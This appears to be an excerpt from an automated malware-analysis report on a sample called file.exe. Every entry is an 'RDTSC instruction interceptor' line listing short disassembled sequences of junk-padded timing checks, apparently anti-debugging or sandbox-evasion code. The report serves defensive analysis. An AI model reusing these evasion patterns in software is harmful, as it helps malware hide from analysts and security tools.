Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01C0 second address: 4CA0210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push dword ptr [ebp+04h] 0x00000009 jmp 00007F075D128F08h 0x0000000e push dword ptr [ebp+0Ch] 0x00000011 jmp 00007F075D128F00h 0x00000016 push dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F075D128F07h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0210 second address: 4CA0228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABED4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA023C second address: 4CA0240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0240 second address: 4CA0246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0246 second address: 4CA0271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 78C4h 0x00000007 pushfd 0x00000008 jmp 00007F075D128EFDh 0x0000000d jmp 00007F075D128EFBh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0271 second address: 4CA0275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0275 second address: 4CA0279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0279 second address: 4CA027F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C4F second address: 4CC0C55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C55 second address: 4CC0C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABECDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C66 second address: 4CC0C6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C6A second address: 4CC0C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C78 second address: 4CC0CF4 instructions: 0x00000000 rdtsc 0x00000002 mov cl, 9Fh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F075D128F01h 0x0000000c and ax, 4726h 0x00000011 jmp 00007F075D128F01h 0x00000016 popfd 0x00000017 popad 0x00000018 mov dword ptr [esp], ebp 0x0000001b pushad 0x0000001c mov al, EAh 0x0000001e call 00007F075D128F09h 0x00000023 pushfd 0x00000024 jmp 00007F075D128F00h 0x00000029 sub eax, 7A325B28h 0x0000002f jmp 00007F075D128EFBh 0x00000034 popfd 0x00000035 pop ecx 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0CF4 second address: 4CC0CFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0CFA second address: 4CC0D3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F075D128F09h 0x00000009 adc eax, 4705B9F6h 0x0000000f jmp 00007F075D128F01h 0x00000014 popfd 0x00000015 mov ebx, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ax, bx 0x00000021 mov dh, 6Bh 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0D3E second address: 4CC0D5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABED8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC074E second address: 4CC0767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0767 second address: 4CC076B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC076B second address: 4CC0771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC040C second address: 4CC0445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F075CBABECBh 0x00000012 pop eax 0x00000013 jmp 00007F075CBABED9h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0445 second address: 4CC04BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F075D128F03h 0x0000000b or ah, 0000007Eh 0x0000000e jmp 00007F075D128F09h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F075D128F01h 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F075D128EFEh 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F075D128F07h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0338 second address: 4CD033D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD033D second address: 4CD0343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0343 second address: 4CD0347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0347 second address: 4CD03D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ecx, ebx 0x0000000c popad 0x0000000d mov dword ptr [esp], ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F075D128F01h 0x00000017 sbb eax, 5B428786h 0x0000001d jmp 00007F075D128F01h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F075D128F00h 0x00000029 jmp 00007F075D128F05h 0x0000002e popfd 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F075D128EFCh 0x00000039 and ecx, 06562C88h 0x0000003f jmp 00007F075D128EFBh 0x00000044 popfd 0x00000045 push eax 0x00000046 push edx 0x00000047 mov ecx, 0954B115h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D49 second address: 4D00D66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D66 second address: 4D00D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075D128EFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D76 second address: 4D00D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0561 second address: 4CE0567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0567 second address: 4CE056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE056B second address: 4CE057A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE057A second address: 4CE05A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F075CBABED0h 0x00000008 pop ecx 0x00000009 jmp 00007F075CBABECBh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05A4 second address: 4CE05A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05A8 second address: 4CE05C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05C3 second address: 4CE066D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F075D128EFFh 0x00000008 pop esi 0x00000009 mov al, dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [ebp+08h] 0x00000011 jmp 00007F075D128F00h 0x00000016 and dword ptr [eax], 00000000h 0x00000019 pushad 0x0000001a push eax 0x0000001b mov eax, ebx 0x0000001d pop ebx 0x0000001e pushfd 0x0000001f jmp 00007F075D128F06h 0x00000024 and eax, 18AB7FF8h 0x0000002a jmp 00007F075D128EFBh 0x0000002f popfd 0x00000030 popad 0x00000031 and dword ptr [eax+04h], 00000000h 0x00000035 pushad 0x00000036 mov dx, cx 0x00000039 push ecx 0x0000003a pushfd 0x0000003b jmp 00007F075D128F07h 0x00000040 and al, 0000006Eh 0x00000043 jmp 00007F075D128F09h 0x00000048 popfd 0x00000049 pop eax 0x0000004a popad 0x0000004b pop ebp 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F075D128EFAh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05F1 second address: 4CC061F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F075CBABED1h 0x0000000a adc cx, DD76h 0x0000000f jmp 00007F075CBABED1h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC061F second address: 4CC0645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F075D128EFDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0645 second address: 4CC06BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F075CBABED7h 0x00000009 sub cx, D00Eh 0x0000000e jmp 00007F075CBABED9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F075CBABED0h 0x0000001a sub ecx, 3FAAEE88h 0x00000020 jmp 00007F075CBABECBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F075CBABED0h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06BA second address: 4CC06BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06BE second address: 4CC06C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06C4 second address: 4CC06D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075D128EFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06D5 second address: 4CC06D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE01A9 second address: 4CE01AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE01AD second address: 4CE01B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE01B1 second address: 4CE01B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE01B7 second address: 4CE0204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bh, ch 0x0000000d push ebx 0x0000000e movzx esi, di 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F075CBABED1h 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F075CBABECEh 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0204 second address: 4CE0208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0208 second address: 4CE0225 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0225 second address: 4CE0239 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 9Ah 0x00000005 mov eax, 3AD4835Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0239 second address: 4CE023D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE023D second address: 4CE0241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0241 second address: 4CE0247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03F2 second address: 4CE0423 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F075D128F09h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dh, 95h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0423 second address: 4CE0428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0428 second address: 4CE043A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075D128EFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0069A second address: 4D006CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 movsx ebx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F075CBABED5h 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F075CBABECDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006CC second address: 4D006E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006E9 second address: 4D006EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006EF second address: 4D006F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006F5 second address: 4D00709 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, bx 0x0000000f mov di, FBF4h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00709 second address: 4D00728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F075D128EFEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00728 second address: 4D00745 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F075CBABECDh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e mov esi, 55A65869h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00745 second address: 4D007AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 call 00007F075D128F04h 0x0000000a pushfd 0x0000000b jmp 00007F075D128F02h 0x00000010 and al, 00000068h 0x00000013 jmp 00007F075D128EFBh 0x00000018 popfd 0x00000019 pop eax 0x0000001a popad 0x0000001b mov eax, dword ptr [76FA65FCh] 0x00000020 jmp 00007F075D128EFFh 0x00000025 test eax, eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F075D128F05h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007AF second address: 4D007BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABECCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007BF second address: 4D007DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F07CF34C08Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007DC second address: 4D007E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007E0 second address: 4D007E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007E6 second address: 4D007EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007EC second address: 4D007F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D007F0 second address: 4D00870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a jmp 00007F075CBABED0h 0x0000000f xor eax, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 mov ecx, edi 0x00000015 pushfd 0x00000016 jmp 00007F075CBABED3h 0x0000001b sub ax, EE7Eh 0x00000020 jmp 00007F075CBABED9h 0x00000025 popfd 0x00000026 popad 0x00000027 and ecx, 1Fh 0x0000002a jmp 00007F075CBABECEh 0x0000002f ror eax, cl 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F075CBABED7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00870 second address: 4D00888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075D128F04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00888 second address: 4D008B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F075CBABED5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008B1 second address: 4D008C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 push esi 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f mov esi, eax 0x00000011 lea eax, dword ptr [ebp-08h] 0x00000014 xor esi, dword ptr [00372014h] 0x0000001a push eax 0x0000001b push eax 0x0000001c push eax 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 call 00007F0761AF96F5h 0x00000026 push FFFFFFFEh 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008C7 second address: 4D008CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008CB second address: 4D008E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008E2 second address: 4D008E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008E8 second address: 4D008EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008EC second address: 4D0093F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007F075CBABED6h 0x00000011 ret 0x00000012 nop 0x00000013 push eax 0x00000014 call 00007F076157C714h 0x00000019 mov edi, edi 0x0000001b jmp 00007F075CBABED0h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F075CBABED0h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0093F second address: 4D00943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00943 second address: 4D00947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00947 second address: 4D0094D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0094D second address: 4D00963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABED2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00963 second address: 4D00967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB002F second address: 4CB0033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
